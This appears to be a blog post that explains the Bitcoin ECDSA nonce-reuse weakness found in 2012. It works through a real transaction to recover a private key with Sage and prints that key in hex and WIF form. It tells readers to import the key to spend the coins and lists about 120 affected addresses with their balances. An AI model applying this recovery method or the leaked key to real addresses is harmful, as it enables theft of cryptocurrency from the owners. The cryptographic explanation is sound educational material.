Bitcoin random private key generation vulnerability

On December 25th of 2012 Nils Schneider first discovered a potential weakness in some Bitcoin implementations. Have a look at this transaction:

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

This transaction has two inputs and one output. If you look closely at the two input scripts you will notice there are quite a few equal bytes at the start and at the end. Those bytes at the end are the hex-encoded public key of the address spending the coins so there’s nothing wrong with that. However, the first half of the script is the actual signature (r, s):

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

As you can see, r1 equals r2. This is a huge problem. We’ll be able to cover the private key to this public key:

private key = (z1*s2 - z2*s1)/(r*(s1-s2))

 

We just need to find z1 and z2! These are the hashes of the outputs to be signed. Let’s fetch the output transitions and calculate them (it is calculated by OP_CHECKSIG):

z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

That’s it. Let’s set our sage notebook like this:

p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

 

p is just the order of G, a parameter of the secp256k1 curve used by Bitcoin. Let’s create a field for our calculations:

K = GF(p)

And calculate the private key within this field:

K((z1*s2 - z2*s1)/(r*(s1-s2)))
88865298299719117682218467295833367085649033095698151055007620974294165995414

Convert it to a more suitable format:

hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

And import it to your favorite Bitcoin wallet. It’ll calculate the correct Bitcoin address and you’ll be able to spend coins sent to this address.

There are a few vulnerable Bitcoin addresses in the blockchain. After some research, I was able to contact the owner of this address. He allowed me to spend the funds.

Why did this work? ECDSA requires a random number for each signature. If this random number is ever used twice with the same private key it can be recovered. This transaction was generated by a hardware Bitcoin wallet using a pseudo-random number generator that was returning the same “random” number every time.

Compromised addresses

2011-05-02 18:30:22, 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 0.1 BTC

2011-08-10 18:09:45, 1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU 0.2 BTC

2012-04-13 20:24:08, 1JNC3iaxA95NbWrSro5me2BM27wohuucKD 0.04 BTC

2012-04-14 04:52:38, 1GYRDPaCm3hrzUcgfT49w7mcvoQu2Y4MmX 0.1 BTC

2012-04-14 06:42:27, 17gDnz5TU8T16Pgzo93M7Dm1j5HS3UuS2Q 0.1 BTC

2012-04-14 10:28:14, 1FY4Ny2ZTvDGDHshB1Rpp5Di9x6Q9GVd5a 0.05 BTC

2012-04-14 10:28:14, 1ECvZ9ojebv5TVWySf2roXRP4XyQb5rNCy 0.025 BTC

2012-04-14 11:01:37, 1FxWoGvwzjWGKk69vFumyoBaUCqzsndVck 0.05 BTC

2012-04-14 11:40:46, 1kJwZbv3dhUowPyRHcxJMknoJpPYfwaGf 0.05 BTC

2012-04-14 12:13:43, 1E9ffsnXjMnZxmJaqCLXWhqWzKqx1sZXP9 0.05 BTC

2012-04-14 12:39:27, 1Df8hDiS6RSeu9WDUqUtBpBmBoepzo24pD 0.05 BTC

2012-04-14 13:49:59, 1NCRgUAgJnzBGcLNX7iQD1d9Cn9ZyKF2PC 0.05 BTC

2012-04-14 14:48:03, 1GysfXJbf5FREeJetrwuANNZi8pcz4n1v6 0.05 BTC

2012-04-14 16:11:04, 1DcNJeexQV2kM78AdMKSzmsQ8DeNMHLTJ1 0.05 BTC

2012-04-14 17:13:33, 1CozShbCQwFqa3iw2AUE3zn7Pp1f3HR3D 0.05 BTC

2012-04-14 17:38:46, 1Js2D8Fj1AWQ2aB7TMtmJ6rn4bYDFtcjgF 0.05 BTC

2012-04-14 17:53:23, 1L8DFt7yYA3iZsr6RA3d1mpf4J7TgBsYF 0.05 BTC

2012-04-14 18:07:18, 13oCG1VNMAGtNp9RcAmUieRf8NayAJ7xj7 0.05 BTC

2012-04-14 18:48:18, 1FX2xLHNxcT77bxLZXHzet6e8kMSS53uDK 0.05 BTC

2012-04-14 19:13:24, 1BRwmguCycCWSbueTcpn1vSJddMJXEhyjH 0.05 BTC

2012-04-14 20:10:32, 1PWTFonhiXCdTZ4Nd2J726rqWnNsTVeVMY 0.05 BTC

2012-04-14 20:17:36, 1JZ5NjZCDrnj84mZnv2fuAmAb7w4v5LiEu 0.05 BTC

2012-04-14 23:18:03, 1ENrnLCxp9srcWCCE3kQFNqHRGDijespb9 0.05 BTC

2012-04-14 23:33:44, 1Mjwi2LnE6oz3p8dNFXWgMpAPBs6ZpPPA2 0.05 BTC

2012-04-15 00:53:23, 1Dka5AAYwdZkrPJZHjKmdZkaVATnwYeSqG 0.05 BTC

2012-04-15 02:15:35, 15E8CUjvHDVj8mBzhkNHErXtz4AeEHycpH 0.05 BTC

2012-04-15 04:38:53, 12ekVy8duhBMLGd1JhxcgxrTN1fchmVcTo 0.05 BTC

2012-04-15 05:35:53, 14RJsWTjq9q2a9tNQSdpxbMaViWoXxRbjt 0.05 BTC

2012-04-15 07:15:43, 1JCMAUG9P8X4PHM7rF4ywDFHaAK2FMRrkN 0.05 BTC

2012-04-15 07:39:59, 138VcLyoAb5sdjo3cDw7d14fUGLKRwQ9VK 0.05 BTC

2012-04-15 07:39:59, 12RFNoJK2MSiWfXt3fFG7F4urUpLGnTBxh 0.05 BTC

2012-04-15 08:54:05, 1CFVxqxX3i9L9dm6Gw2QKJ2fH18HSJ9H8k 0.05 BTC

2012-04-15 08:54:05, 1kMEr9W4YeAnzFcuSWwj3ShYGANdLHSxG 0.05 BTC

2012-04-15 09:53:24, 143CugrdSngLmDaLWoLrWJzb4AU1xLMqoY 0.05 BTC

2012-04-15 09:53:24, 1NvfCyqRh6cuh8dCQDJmboriifg1eaYDnV 0.05 BTC

2012-04-15 12:01:16, 1PXU5aD3fzgAm2E56o2VSaHpVe4bhe3d2m 0.05 BTC

2012-04-15 12:01:16, 1AnFEpvs8a41T3ZpfPtXBENvkL5oatQ64D 0.05 BTC

2012-04-15 12:08:12, 1GjDS84eNBx6QQoo7dBddvgYArSttxLYdk 0.05 BTC

2012-04-15 12:08:12, 1szVke6ThJtfdUTi6Y5AAMDMePM4Ha8vK 0.05 BTC

2012-04-15 13:17:59, 1CNHzFKNCkCwYecVUfmahmqDFrn5uuRzsU 0.05 BTC

2012-04-15 13:17:59, 13ds2bCrxe68w8WD4R7bWSjGq4uK7XbzWH 0.05 BTC

2012-04-15 18:31:29, 16He3EDsvTKYRSQGsZeoooTbYAjy9fiLoQ 0.05 BTC

2012-04-15 20:10:53, 14reTqqg8r4qriHozsYoydugzLjYtpVoMZ 0.05 BTC

2012-04-15 20:10:53, 14FguDL7teNFCctazjUxCxCfZtssycq11h 0.05 BTC

2012-04-16 06:26:11, 1yiQRuB3KRxZTrSHBNZK9NdjbyJskHiVs 0.05 BTC

2012-04-16 06:26:11, 1FwbYs6UL2fzB9crvhWNCZyr9oqNjEXzcu 0.05 BTC

2012-04-16 11:26:49, 1Lr9tUFz4mypFzc3PYitgGU1dTg21ubM9p 0.05 BTC

2012-04-16 11:26:49, 1K5CgovB1c4vX22MvUq8cfRsuctG86Jmx5 0.05 BTC

2012-04-16 13:42:42, 19cRkXQfonjdJT9K8TMuDxV1PKLSdHZtPh 0.05 BTC

2012-04-16 13:42:42, 18mmzMizs5CHtLJwchtPMuiYqVqWjw3rLe 0.05 BTC

2012-04-16 14:46:48, 1NEb41nDgxWwVzhHSsk4obURJ13KauJRsF 0.05 BTC

2012-04-16 14:46:48, 13CWujDi4g6DWB9bWDXT3TfRU635NPJdPF 0.05 BTC

2012-04-16 14:46:48, 1G3BjSLWsWH6tbPYs29fYMYaz9k8EStQM 0.05 BTC

2012-04-16 15:10:12, 1C3G6y8Cyi7ECDaaDhG34sLzrv1dd7Xo33 0.05 BTC

2012-04-16 15:10:12, 1494Wwkf8QN4nC3gSYz3qjZVNuVZSHw2zi 0.05 BTC

2012-04-16 15:35:02, 1FYXLjfFJ1qsngiArLsrBVEGRaKkV15FGV 0.05 BTC

2012-04-16 15:35:02, 1EFET6LSLabV5KR55XqRzzhQ1rBUGTD1SQ 0.05 BTC

2012-04-16 15:38:39, 1J8THH46JdkjiGYLQyPQDHVk4gtftahDUx 0.05 BTC

2012-04-16 15:38:39, 1CRcBxVoXCqL7cEiq7b7rTYQyMhUrCu5Mf 0.05 BTC

2012-04-16 15:56:34, 1JjcWuJDRNkw3XcMfE7khhRg1UCxU8eKua 0.05 BTC

2012-04-16 15:56:34, 1Fcj89eqk1xCe6PqkMpaUuWCaK7MUXeYbZ 0.05 BTC

2012-04-16 16:01:09, 196SL6bZEvBT8A9z46df54zE3rzZfXzwe8 0.05 BTC

2012-04-16 16:01:09, 12a7gpjZDQBDhVSknfQzL3ygcASNQcocnd 0.05 BTC

2012-04-16 16:11:33, 1JFMHv7ijwXDQYQrehhSxn6u9bTfkGCmK 0.05 BTC

2012-04-16 16:11:33, 1M5edBFjjFJhQhgSuCUQnX3uytcskgnqQB 0.05 BTC

2012-04-16 16:51:00, 1F9tB2p9NWsGEt1TjiGAa3WEEGs9Wc779R 0.05 BTC

2012-04-16 16:51:00, 19yCy4mFWJVsdJbgtG79VwHGxQpcx4uhcr 0.05 BTC

2012-05-03 06:59:31, 19DcmnrhqpLgn8L6Exay1sJiKZPtYUAw1Y 0.05 BTC

2012-05-03 06:59:31, 1B8vhS5umMNKvwQFHJ3Hgres4NJeoe8U7Y 0.05 BTC

2012-05-03 08:12:03, 13LRBbvgCSXsUs4JNmYhzHRo3re8vYVDid 0.05 BTC

2012-05-03 10:21:05, 16UkUnbqW8PXRrwgxRdb2UTivbgNnBYqwC 0.05 BTC

2012-05-03 10:21:05, 1N2aQiQ5LjNQ3C3cKCmHHnnq65RH3zRD9B 0.05 BTC

2012-05-03 12:34:52, 1AyTNQRvz6fo7EvebGpKfJB7jJeppxY4yc 0.05 BTC

2012-05-03 13:06:24, 1JnqZ6Djhncs9YHe74CbkLaXXAbA1phsTU 0.05 BTC

2012-05-04 04:41:34, 1JmMcWWy1mFuubbsBRPuVXdjFdtM2ENJXE 0.05 BTC

2012-05-04 09:32:23, 17Vjk88w6fy5YRVUGD6Aa9w545UA6K4tYZ 0.05 BTC

2012-05-05 09:23:49, 16NCxA48LPKdSr5fACPnrLxgkrFnDJAzLp 0.025 BTC

2012-05-05 12:28:34, 1LKu5b7jUoM7MJzeuTCmvDWsJrBgBhcvhb 0.025 BTC

2012-05-05 13:40:16, 12CkZeZvwDwiTvFm5H8bABpEqQHXJ6gWc1 0.04 BTC

2012-05-05 16:36:43, 14ih1qxbcFmwLm8Hc7qTr3BhzdmWTWRmpC 0.04 BTC

2012-05-05 17:39:50, 18pqzCLA17hdnzxFnf5Cad2feA1RHKtW2P 0.04 BTC

2012-05-05 17:39:50, 1Pbt1LGM2JNgMjtnEscEmntsSrcYofeaoa 0.04 BTC

2012-05-06 03:49:28, 17sDdDiW2dNRQvTu2NkwwCbfXNFxVCpbZW 0.05 BTC

2012-05-06 03:49:28, 154nELZtftuW951oQY7erHnN4L196c98Wp 0.04 BTC

2012-05-06 03:49:28, 15GieELLKTruUdzmTDVYP1TsjnzNRDg8Qa 0.04 BTC

2012-05-06 09:05:03, 1LnBTt9TYRMt4aABcDYSoaMQ9jV8Qgajkx 0.046 BTC

2012-05-06 09:05:03, 1NuSEboWF7YJ3bozo5H1JDpH5yc7zyHZm8 0.046 BTC

2012-05-06 09:05:03, 1ALsXt19tBxMr29WfM2Zd7EU8HwzooLGHx 0.046 BTC

2012-05-06 09:05:03, 13x6i5itrvR8Rf75xP8PZaPtNTNxZLReLe 0.02 BTC

2012-05-06 13:28:17, 1PUv3XNWWCDmEK6o9VerPK81qVfo4Wtvv2 0.04 BTC

2012-05-06 16:00:30, 1DQK1Xb1gKBRXLi4PEegWCZ1giELgBqhq7 0.02 BTC

2012-05-06 16:00:30, 1AgVauV4U1tt3KbRiehht56NoZeKprLUXe 0.04 BTC

2012-05-08 03:57:17, 1Pde4CbEitkdPiwwKvd6s3znWw7EXZMYjD 0.03 BTC

2012-05-08 03:57:17, 1FPgs8ZaxXUAp61jkd53U7zWj9NQq8yM34 0.04 BTC

2012-05-08 03:57:17, 16SchApeKZEc86CVJCc1vLQ17TEJCRJNef 0.035 BTC

2012-05-08 03:57:17, 1HWEyVbuyPmXfR9eBnrh4v2Npjnp9UJQCw 0.04 BTC

2012-05-08 03:57:17, 121Zna8Dy9W2qDvsJEH2ALeHQkteXaeGng 0.02356851 BTC

2012-05-08 08:48:08, 13GXRxeyR9UTDQojZYv9NZ1j3VA6Butc9U 0.03 BTC

2012-05-08 10:37:41, 12c1XuVdjQwyftTbqnWMT94CYW6vKFknwm 0.03 BTC

2012-05-08 10:37:41, 1CqEdApNprZzgqUsuyLocXKH5yMdFTnTJQ 0.03 BTC

2012-05-08 13:46:34, 1HWYEGYNgVc7bc28RCAa8mCJPv9eEnHieR 0.03 BTC

2012-05-08 13:46:34, 1F48AGnDGLBbDr5Uk7DfUhrhe8U14eHKaH 0.03 BTC

2012-05-08 14:36:27, 1ZBRXLZEzSukVDEDDJjtHYmrpkEGH94nS 0.03 BTC

2012-05-08 15:37:40, 1EUDdSvFGmZCa5zUXSXFSQD7r2qBZaSWJU 0.03 BTC

2012-05-08 15:37:40, 18KZdcnGaqaXnHiRPb8rVGCztyA4jJPKtS 0.03 BTC

2012-05-09 09:26:00, 1GUqD7UATGzbEBrMjweP5GCTQeU51TsZbj 0.03 BTC

2012-05-09 09:26:00, 1G4TqNcKTRRuQ3brQSv85Fohf3jQiaGAbL 0.03 BTC

2012-05-09 09:26:00, 12WhvZTWMv9XLfyM2g7XFSUgpwzuQUX5Mq 0.03 BTC

2012-05-09 09:26:00, 1CxZGXpNLDmr7eDmgMiGc1n1gAyE6LKBig 0.03 BTC

2012-05-11 08:24:48, 1DWhHeTnoZAFPehoM1W6S37hn7nVjZLrQN 0.03 BTC

2012-05-22 09:24:50, 1BvQyALiTSgKwVYzDL3ANoqmdWaoyRZazS 0.02 BTC

2012-05-22 09:24:50, 1DY5YvRxSwomrK7nELDZzAidQQ6ktjRR9A 0.02 BTC

2012-06-04 04:12:06, 1YWwSaXTESKgDpitb6Rp8bteXzUR6hjDg 0.02 BTC

2012-06-04 07:27:34, 1LspNcTjkzFQRrsr4iGGxD5RSKehB5fHnA 0.02 BTC

2012-06-04 07:27:34, 18yDksipyvWEX14KTd4DHvj6ZDcXvNqtpB 0.02 BTC

2012-06-04 07:27:34, 17Lq1nrktyEFV3AVPAbsbDXWuWoUNMhws8 0.02 BTC

2012-06-04 11:48:20, 1E67dSKMyrEoqfAjSsE1SNpeeau4pmyc5j 0.02 BTC

2012-06-16 22:57:10, 1HmJh2b8iS64WgX5snSzKYrNXqbnKkuBvE 0.02 BTC

2012-06-17 04:29:11, 1JNMvqdUYP9eDR3mEkxxCne4BYabc93Nwh 0.02 BTC

2012-06-17 15:39:28, 13fZF8aZcSjpxhukHkyVtHsLnPnVszQaLm 0.02 BTC

2012-06-17 21:08:34, 1NSLj5xdCyRmMYVtM7bwZxZarYLm6EGZJf 0.02 BTC

2012-12-20 21:32:28, 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm 0.1336396 BTC

Follow the incident.............